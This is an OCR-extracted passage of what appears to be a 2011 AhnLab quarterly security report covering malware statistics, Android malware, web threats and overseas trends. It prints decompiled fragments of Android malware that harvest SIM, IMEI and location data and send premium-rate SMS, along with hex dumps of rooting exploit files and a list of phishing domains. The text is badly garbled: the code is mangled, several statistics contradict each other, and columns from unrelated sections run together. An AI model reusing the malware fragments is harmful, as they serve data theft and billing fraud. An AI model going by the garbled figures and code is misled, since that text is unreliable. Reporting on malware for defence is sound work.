14 JS/Cve-2010-0806 247,285 2.3%
15 ALS/Pasdoc 232,616 2.2%
16 Win-Trojan/Downloader.156565 224,634 2.1%
17 VBS/Solow.Gen 224,007 2.1%
18 Win-Trojan/Winsoft.46080.BR 222,225 2.1%
19 Win32/Virut 218,599 2.1 %
20 HTML/Shellcode 218,010 2.1%

10,530,226 100 %

[Table 4-3] Top 20 New Malicious Code Reports

Breakdown of New Malicious Code Types
As of Q2 of 2011, Trojan is the most reported new malicious code, representing 44% of the top

reported new malicious codes. It is followed by script (18%) and worm (10%).

EXPLOIT 1%
WORM 1%
APPCARE 1%

TROJAN
446%

SCRIPT 18%

90-70°L102

SPYWARE 1%

ETC 10%

DROPPER 5%

VIRUS 5% ADWARE 7%

[Fig. 4-3] New Malicious Code Type Breakdown
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01.Malicious Code Trend
b. Malicious Code Issues

Rise in increasingly intelligent mobile malware

The number of mobile malware is rising rapidly, and they are
becoming increasingly intelligent.

The first Android malware found on August 2010 stole
subscriber information, including USIM, IMEI, IMSI and mobile
phone number, device information or user’s location. So, it did

not directly affect the user

[Fig. 4-4] Codes that steal SIM, IMEI, IMSI and device information

StringBuilder stringbuilder70 = new StringBuilder("ssim country_iso=");
tring 357 = tm.getSimCountryIso():;
ing 858 = stringbuilder70.append(s57).toString();
uilder stringbuilder7l = stringbuilder€9.append(s58):
gBuilder stringbuilder72 = new StringBuilder("ssim operator=");
ing 859 = tm.getSimOperator():;
ing 360 = stringbuilder72.append(s859).toString();
3uilder stringbuilder73 = stringbuilder7l.append(sé0);
3uilder stringbuilder74 = new StringBuilder("ssim operator_name=");
ing 361 = tm.getSimOperatorName():
ing 862 = stringbuilder74.append(sél).toString();
uilder stringbuilder75 = stringbuilder73.append(s62);
ingBuilder stringbuilder76é = new StringBuilder("ssim serial number=");
ing 863 = tm.getSimSerialNumber();
ing 864 = stringbuilder76.append(s63).toString():
Suilder stringbuilder77 stringbuilder75.append(s64);
ngBuilder stringbuilder78 new StringBuilder("ssim state=");
int 11 = tm.getSimState();
= stringbuilder78.append(1l1).toString();
uilder stringbuilder79 = stringbuilder77.append(séS5);
uilder stringbuilder80 = new StringBuilder("ssubscriber_id=");
tm.getSubscriberId();
stringbuilderg80.append(s66) .toString();
r stringbuildergl = stringbuilder79.append(s67):;
ingBuilder stringbuilder82 = new StringBuilder("svoice_mai imber=") ;
ing 868 = tm.getVoiceMailNumber():;
ing 869 = stringbuilder82.append(s68).toString();
ingBuilder stringbuilder83 = stringbuildergl.append(sé9):;
int i2 = mContext.getResources().getConfiguration().mcc;
int j2 = mContext.getResources().getConfiguration().mnc;
String 870 = (new StringBuilder("simsi_mcc=")).append(i2).toString():
ingBuilder stringbuilder84 = stringbuilder.append(s70);

String 871 = (new StringBuilder("simsi mnc=")).append(j2).toString():

[Fig.4-5] Codes that steal user’s location

Locati locati = (Locati ice ( ")
ce.accesss? ce, locati ;
LocationListener locationlistene ew LocationListener(_lclsl);
SnakeService.accesssg (SnakeService.this) . requestLocationUpdates ("or
SnakeService.accessse (SnakeService. this) .requestlocationUpdates (

IF, locationlistener):
, 250F, locationlistener):

However, after that, a premium rate calling Android malware
was spotted. The malware sent SMSes to a phone number that
charged around US$6 per message. Since then, mobile malware
is much more often designed for financial gain, and is obfuscated

to make it hard to analyze.

[Fig. 4-6] Paid premium SMS service

try

r.sendTextM (" ", null, "79 ", null, null);

}
catch(Exception exception)
{

i = Log.e("Oops in playsound”, "", exception);
}
g =" an;
sl = null;
pendingintent = null;
pendingintentl = null;
int j;
try
{

smsmanager.sendTextMessage (s, sl, "792657", pendingintent, pendingintentl);

}

They are also repacked with other apps by third party markets
for users to download and install. The app downloaded by the
user may seem to work properly, but it will download and install
malware and perform commands given by the attacker. The
following confirmation message will appear when installing an

application on Android 0S.

[Fig. 4-7] Confirmation message to install app

Do you want to install this
application?

Allow this application to:

Install H Cancel
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Users who are aware of mobile security risks might not install
this application, but various methods are being used to avoid
detection. One of the methods is repacking of application -
malicious application is hidden in the resource folder of the
repacked legitimate application and then installed. To bypass

antivirus detection, executable program is compressed.

[Fig. 4-8] Malicious installation file in resource folder

DESE X & B2l tE § N

i3 XVI32 - busybox

File Edit Search Address Bookmarks Tools XViscript Help
DSEX & BEQEE § N

1F 8B 0808 22D1DA4C 000362757379 «OO0"HGTL ‘busy 4]

62 6F 78 00 AC FD OB 7C 14DSDD3F8ESF b o x -y d | 16 Y2 2 ¥ [}
1|99 DD 4D 96 24 90 09 49 34 86 288644 4D [m ¢ m - s 0 I 4+ (< DM

() buyao, wav
() calllord, wav
() chat1000, wav
3 chat1001, wav
() chat1002, wav
() chat1003, wav

bat1004

WO g s W N

Android vulnerabilities are used to hide the permission to install
other malware. Only the permission to use the vulnerabilities is
needed, so the user will install and execute the malware without
any suspicion. The resource folder of the malware will contain an

executable file that uses the vulnerability and additional malware to

install as below:.

[Fig. 4-9]1 Malicious files in resource folder

ol

%) sqlite
|| exploid i
|| profile

|| rageagainstthecage

ne ne pe

[Fig. 4-10] Executable file that roots mobile device by exploiting
the vulnerabilities

exploid | profile | rageagainstthecage | sqlite,db

Offset o012 3 45 6 7 8 9 A B CDEF
00000000 [F 45 4C 46 01 01 01 00 00 00 OO0 OO0 OO0 OO0 OO0 00
00000010 02 00 28 00 01 00 OO OO 10 8A 0O OO 34 00 00 0O
00000020 A8 2C 00 00 02 00 00 04 34 00 20 00 07 00 28 00
00000030 20 00 1D 00 O1 0O OO 70 DC 1A 0O OO DC 9A 00 00
00000040 DC %A 00 00 30 00 00O OO 30 OO OO OO 04 00 00 OO
000000S0 04 00 00 00 06 OO OO OO 34 0O OO OO 34 80 00 0O
00000060 34 80 00 00 EO 00 00 00 EO OO0 0O 00 0S5 00 00 0O
00000070 04 00 00 00 03 00 OO OO 14 01 00 00 14 81 00 0O
00000080 14 81 00 00 13 00 00 00 13 00 0O 0O 04 00 00 0O
00000030 01 00 00 00 01 0O OO OO 0O 00 0O OO OO0 80 00 0O
000000A0 00 80 00 00 OC 1B 00 00 0OC 1B 00 00 0S 00 00 00

[Fig. 4-11] Malware installation file that downloads and installs

additional malware

exploid | profile | rageagainstthecage | slite.db
Offset 01 2 3 45 6 7 8 9 AB CDEF
00000000 SO 4B 03 04 14 00 08 00 08 00 92 59 S8 3E 3E EB PK........ YX>>e
00000010 D6 8D 71 03 00 00 A4 OB 00 00 13 00 04 00 41 6E O q..."....... An
00000020 64 72 6F 69 64 4D 61 6E 69 66 65 73 74 2E 78 6D droidManifest.xm
00000030 6C FE CA 00 00 BS 94 CB S2 13 41 14 86 FF C9 04 1pE..pIER.A.IVE.
00000040 89 72 OB 10 48 48 C2 AD 00 B9 94 26 SA BA BO 2C Ir..HHA-.!18Z2°,
000000S0 37 11 SO S1 6E 0S5 11 76 84 00 51 53 46 92 22 31 7.PQn..vI.QSF""1
00000060 96 1B CB 95 6B D7 96 OB 17 3E 83 6B 1F C1 A7 BO 1.Elkx!..>Ik.A§°
00000070 S8 S8 AE 2D 17 E8 DF 3D 3D D2 74 32 3A SO ES 4C XX@-.&B==0t2:PiL
00000080 FD 99 EE D3 E7 7C E7 9C 9E CE D8 08 E1 63 1B 60 yliOg|glli0.4c.”
00000090 21 89 C3 16 60 04 C7 D7 7B 6D 1C A7 AE 53 B7 A9 I1A." .Cx{m.§6S-©
000000A0 65 6A 9B 7A 45 BD AS OE A9 6F D4 11 DS 63 01 3B ejlzEM¥.000.0c.:
000000BO 54 89 7A 43 BD A3 BE SO DF A9 23 EA 7E 00 D8 A2 TIzCHEXPRO#&™.0¢

Attackers will find more ways to infect more mobile devices. As
you can see from the chart below, there has been a sharp rise in

the number of mobile malware

[Fig. 4-12] Sharp rise in mobile malware

2010 20m
08 09 10 n 12 01 02 03 04 05 06

Before downloading and installing new applications, always read
the reviews carefully. And, before executing a new application,

always use a mobile antivirus to scan it.

Keeping your smartphone safe

The rapid rise in Android-based malware is caused by the
open ecosystem fostered by the Android market. You must be
careful when downloading and installing applications on to your

Android-based smart phones.

[Table 4-4] Malicious applications

Application Features

- Sends SMS to phone numbers saved to
= Phonebook

= - Sends the following personal information
to a specific server:

kR Text * Phone numbers

* IMEl number

*Name

Ah AhnLab

- Saves the following information to log or
send to a server:

* Call history

* SMS

* Browsing history

* Other information

- Repackaged game

- When installed, it creates a malicious ELF
file and installs a malicious app (running in
the background), and takes on the following
privileges

* Reads Contacts database and creates data
* Reads phone status and ID

*Sends SMS

* Modifies/Deletes SD card contents

A AhnLab
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- Repackaged legitimate application (Roots 3
phone to steal privilege) 02. Securlty Trend
é‘@’ |a| - When installed, _ir_]formation gets s_tole_n ). Security Statistics
il T and sent to a specific server, and rooting is
Ananniab | attempted to install other malware

g waz'eea'ch (Disguised as ‘Google Search’)
A% The fake ‘Google Search’ runs with system
permission to remotely control the phone

When using a smart phone, always follow the rules below:

- Always scan applications and files before downloading or
installing.

- When downloading games, always read the reviews
carefully first.

- Be careful when opening emails and clicking links in text

messages. Microsoft Security Updates- Q2 of 2011

- Always update your mobile antivirus to the latest version. . . . . .
v sl J Microsoft released 35 security updates this quarter. The number of Microsoft security updates

- Lock your smart phone with a password to prevent

. doubled from the previous quarter. As in Q1, there were the most system vulnerabilities (52%),
unauthorized used. Change your password regularly.

Gy rmen e em b s e e e followed by Office and |IE vulnerabilities. In April and June, there were 17 and 16 security updates,

- Do not reconstruct your smart phone. respectively, which were mostly Critical. You must apply the latest security updates to prevent

attacks.

MS Security Updates
2010.04 - 2011.06

Application

Sever

System

Office

IE

[Fig. 5-1] Microsoft Security Updates
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Web Security Trend

03.Web Security Trend
a. Web Security Statistics

Web Security Summary

As of Q2 of 2011, there were 189,948 reported malicious codes, 2,060 types of reported malicious
code, 2,072 reported domains with malicious code, and 7,687 reported URLs with malicious code.
These statistical figures were derived from the data collected by SiteGuard, AhnLab’s web security

program.

I Blocked malicious URLs

189,948

| Reported types of | Domains with | URLs with
malicious code malicious code malicious code

2,060 2,072 7,687

[Table 6-1] Website Security Summary

@ 2011.04-06

Monthly Reported Malicious Codes

189,948 malicious codes were reported this quarter, which is 21% less than the previous quarter

(239,762).
125,000 107,713
100,000
75,000 49,317
32,918 +33.2%
50,000 l
25,000
0
| | |
2011.04 2011.05 2011.06

[Fig. 6-1]1 ] Monthly Reported Malicious Codes
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Monthly Types of Malicious Code
2,060 types of malicious code were reported this quarter, which is 15% less than the previous

quarter (2,418 reports).

1,000 704 679
. 677 +0.3%
600 G *C .
400

200
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| | |
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[Fig. 6-2] Monthly Reported Types of Malicious Code

Monthly Domains with Malicious Code

2,072 domains with malicious code were reported this quarter, which is 13% less than the previous

quarter (2,395).
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[Fig. 6-3] Monthly Domains with Malicious Code

Monthly URLs with Malicious Code

7,687 URLs with malicious code were reported this quarter, which is 31% less than the previous

quarter (11,089).
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[Fig. 6-4] Monthly URLs with Malicious Code
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Top Distributed Types of Malicious Code

Adware is the most distributed type of malicious code representing 19.5% (36,996 reports) of the top

distributed type of malicious codes, followed by Trojan that represents 12.7% (24,059 reports).

TYPE Reports Percentage
ADWARE 36,996 19.5%
TROJAN 24,059 12.7 %
DROPPER 16,527 8.7 %
DOWNLOADER 15,873 8.4 %
Win32/VIRUS 2,511 1.3%
JOKE 2,435 1.3%
APPCARE 571 0.3 %
SPYWARE 286 0.2 %
ETC 90,690 47.7 %
189,948 100 %

[Table6-2] Top Distributed Types of Malicious Code
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[Fig. 6-5] Top Distributed Types of Malicious Code

Top 10 Distributed Malicious Codes
Win32/Induc is the most distributed malicious code (55,215 reports), followed by Virus/Win32.Induc

100,000

40,000

20,000

(23.693 reports]).

Ranking M Malicious Code Reports Percentage
1 A5 Win32/Induc 55,215 48.1%

2 NEW Virus/Win32.Induc 23,693 20.6 %

3 NEW Dropper/Malware.9861963 3,494 1.7 %

4 - Win-Adware/Shortcut.InlivePlayerActiveX.234 5,375 4.7 %

5 NEW Dropper/Malware.10260294 4,845 4.2 %

[ NEW Win-Downloader/KorAdware.1539072 4,103 3.6%

7 Al Win-Adware/ToolBar.Cashon.308224 3,629 3.2%

8 NEW Dropper/Malware.9861963 3,494 3.0%

9 NEW Win-Downloader/Cybermy.724992 3,420 3.0%

10 NEW Win-Adware/Shortcut.Bestcode.0002 3,343 2.9%
114,882 100 %

[Table 6-3] Top 10 Distributed Malicious Codes
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3. Overseas Security Trends

01. Malicious Code Trend- Japan, Q2 2011

In Q2 of 2011, cybercrime was driven by financial gains in response to the earthquake in Japan.

Win32/Conficker.worm was still rampant, and so was Win32/Antinny.worm.

Continuous attack by Conficker worm

The Conficker worm exploits security vulnerabilities in the OS and get distributed via USB drive.
The table below shows the top malicious codes in Japan as ranked by Trend Micro Japan (http://

jp-trendmicro.com).

Antinny has also caused extensive damages. This worm attacks Winny, a Japanese peer-to-peer
(P2P) file-sharing program. The Winny program is no longer being developed, but it is still widely

used in Japan, so there are still malware that are attacking the program.

Ranking 2011.4 2011.5

Threat Name Type Reports Threat Name Type Reports
1 WORM_DOWNAD.AD | Worm 4,538 | WORM_DOWNAD.AD | Worm 2,634
2 CRCK_KEYGEN Cracker 4,456 CRCK_KEYGEN Cracker 1,592
3 CRCK_KEYGEN Trojan 2,912 MAL_Opet—3 ETC 634
4 SROJ_SPNR.03CG11 Trojan 2,188 WORM_ANTINNY.A| Worm 609
5 SROJ_SPNR.04CG11 Trojan 2,177 PE_PARITE.A Virus 595
6 ADW_YABECTOR Adware 2,110 WORM_ANTINNY.JB Worm 404
7 WORM_ANTINNY.AI Worm 1,317 WORM_ANTINNY.F Worm 346
8 PE_PARITE.A Virus 1,313 ADW_YABECTOR Adware 313
© TROJ_SPNR.O3CI11 Trojan 1,308 HKTL_KEYGEN Cracker 296
10 TROJ_SPNR.04CI11 Trojan 1,237 BKDR_AGENT.TID Backdoor 293

[Table 7-1]1 Monthly malicious code threats (Source: Trend Micro Japan)

" http://ip.trendmicro.com/jp/threat/security_news/monthlyreport/article/20110602082147.html
http://ip.trendmicro.com/jp/threat/security_news/monthlyreport/article/20110509064854.html

As you can see above, Win32/Parite and ADW_YABECTOR are high up on the ranking. The Parite
virus was first found in 2001, but it has not infected many systems directly as it does not self
propagate. It is high up on the list because it infected systems in the process of updating an adware
that is installed on the system.

Yabector is an adware distributed by online shopping malls with no self propagating capabilities.
[t creates a shortcut icon when executed. What is interesting is that the adware was not found in

Japanese shopping sites, but infected a lot of systems in Japan,

Autorun attacks

The chart below shows the monthly damages caused by malicious codes reported by IPA (http://
WWW.ipa.go.jp).

The number of Win32/Netsky.worm that caused a lot of damages until mid-2000 was still high this
quarter. However, the damages caused are minor and gradually decreasing. Win32/Autorun.worm

and Conficker worm are still high, along with Virut that infects executable files.
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[Fig. 7-1]1 Malicious code trend: April and May 2011 (Source: IPA, Japan)

2 http: //www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf
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Japan earthquake scams . ]
02. Malicious Code Trend- China, Q2 2011

On March 2011, cybercrime was driven by financial gains in response to the earthquake in Japan.

Spam containing malicious attachment that exploits the vulnerabilities in Microsoft Word was
circulated, abusing Japan's tragic disaster.
The chart below shows the number of reported scam. The number is gradually decreasing, but you

still have to be careful, as actual damages could rise.

1000

900 c . . ..
2010 security threats in China by Rising

800
700 Rising, a Chinese security solutions provider, reported the statistics and issues of security threats
600 that occurred in China in 2010. Rising found 7.5 million new malicious codes in China in 2010. This
500 is 56% less than the previous year, but about 700 million Chinese were affected. They also found
400 1.75 million phishing websites, which is 1,186% more than the previous years. 44.11 million Chinese
300 connected to the phishing websites, and caused at least 20 billion yuan of damages. Also, security
200

threats, such as malware used for financial gains are being traded increasingly in black markets
100

0

in China. 70% of Chinese were financially affected directly or indirectly by malware infection. 2% of

them suffered direct financial loss caused by online banking Trojan horses. The number of phishing

websites in 2010 rose to 1.75 million, which is 11 times more than the previous month. 44.11 million

Chinese people suffered direct or indirect financial loss of at least 20 billion yuan (approx. 3 billion

USD) due to these phishing websites.
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[Fig. 7-3] 2010 Monthly malicious codes in China
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Taobao (www.taobao.com), QQ and Industrial & Commercial Bank of China were the major phishing

websites that took up 76% of the phishing attacks. Rising reported that security threats that target

20105+ & RIuh
- item.taobao.com-uik.co.ccGHFFISRA)
- item.taobao.com-uue.co.cc(ARFNBMYE)
R | ffajxqq.info (Biflio ML)
R | icbc-be.com (T #HR{THIEMIA)

WWw. o +

- qq2010mb.info(B¥ifl§9 @ ML)
- mybank.icbc.com.cipoc.info(THR{THSEME)
Esl www.cctv9669.com(FER6 + 1598 [Ek)

Esd .net
_ sina3.t3.to (BRI S M)

[Fig. 7-4]1 2010 Top 10 phishing websites in China

financial gains are being developed and sold in the Chinese black market to steal money as well as
e-commerce and bank accounts. Rising concluded 2010 to be characterized by mass production of

security threats, and predicted it to continue in 2011.

40

03. Malicious Code Trend- World, Q2 2011

The malicious code trend in Q2 of 2011 is not much different from the previous quarter.
Regionalization of malicious codes and exploitation of vulnerabilities are still the main trend. Rogue
antivirus that warns of a supposed infection and displays other warnings to push users to buy the
full version of the software is now targeting Mac users. Android based malware is also constantly

increasing

World malicious code trend

The variants of malicious codes are still being restricted to specific regions. With the regionalization
of malicious codes, the world statistics of malicious code is no longer significant. According to the
malicious code statistics released by top security providers, Conficker worm, Autorun worm, Virut

virus, Sality virus and rogue antivirus were reported in multiple countries.

Attackers still distribute malicious codes by hacking websites and exploiting vulnerabilities to insert
malicious codes into websites, or via USB flash drive. The method of distributing malicious codes
via email or social network sites, such as Facebook, MySpace and Twitter is also increasing. Cyber
criminals have taken advantage of international events to distribute malware just like they did

before.

Increase in Mac 0S X malware

Increase in Mac users is raising the number of Mac 0S X malware. Crimeware kits are being sold
on several underground forums that purport to create malware that targets the Mac 0S X platform.
Fake antivirus that triggers fake alerts claiming your PC has multiple security issues and infections
that need to be removed with payment is now targeting Mac computers. They are named Mac
Defender, Mac Protector, Mac Security and MacGuard, and are distributed via social networks. The

upsurge in Mac users is increasing the number of malware developers.

2 http: //blogs.mcafee.com/mcafee—labs/mac—malware—monsoon—in—may
* http: //cyberseecure.com/2011/05/eweek—crimeware—kit—targeting—mac—os—x—mimics—zeus—and—spyeye—features/
° https ://blog.avast.com/2011/05/20/mac—malware—%e2%80%93—a—short—history/#more—2616
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Increase in Android malware

The number of Android malware soared in Q2 2011. According to AhnlLab, Android-based malware
started emerging from the latter half of 2010, and soared in 2011. 16 major Android-based malware
were reported in the latter half of 2010, but more than 80 were found in the first half of this year.
The rapid rise in Android-based malware is caused by the open ecosystem fostered by the Android

market. Increase in Android based phone users is expected to multiply Android based malware.

64-bit malware

Apart from smart phone malware, 64-bit Windows malware is also on the rise. There is also a 64-bit

version TDSS, and a é4-bit malware that steals online gaming accounts were reported this quarter.

Information gathering and corruption

Apart from financial gains, cyber attacks have been launched as a political action in the past few
years - there will be more of these attacks this year. Hacker group, LulzSec, famous for attacking
Sony, compromised Fox, the CIA, PBS and a number of other websites. The group appears to attack
sites mostly for fun or political reasons. Websites are constantly being attacked by this group for
financial or political purposes. In the recent years, targets included national institutes and major
companies, but now, they are expanding to International Monetary Fund and Google Mail users. If
the targets do not report the attack, using an antivirus will not be of much help. Attackers usually
use new malware, and if the targets do not report it, antivirus providers will not be able to update
their engine to detect the new malware. To response to corporate attacks, not only security products,

but also security experts who are able to analyze malicious codes are necessary.

° http://www.securelist.com/en/blog/514/The_rise_of_targeted_attacks

" Android's mobile operating system is based on the Linux kernel. Google and other members of the Open Handset Alliance collaborated on
Android's development and release.

" Android Market is an online s ore developed by Google for Android devices. An application program (“app”] called "Market" is preinstalled
on most Android devices and a sers to browse and download apps published by third-party developers.

" Modifies Android executable file and changes it into APK file to install on mobile device
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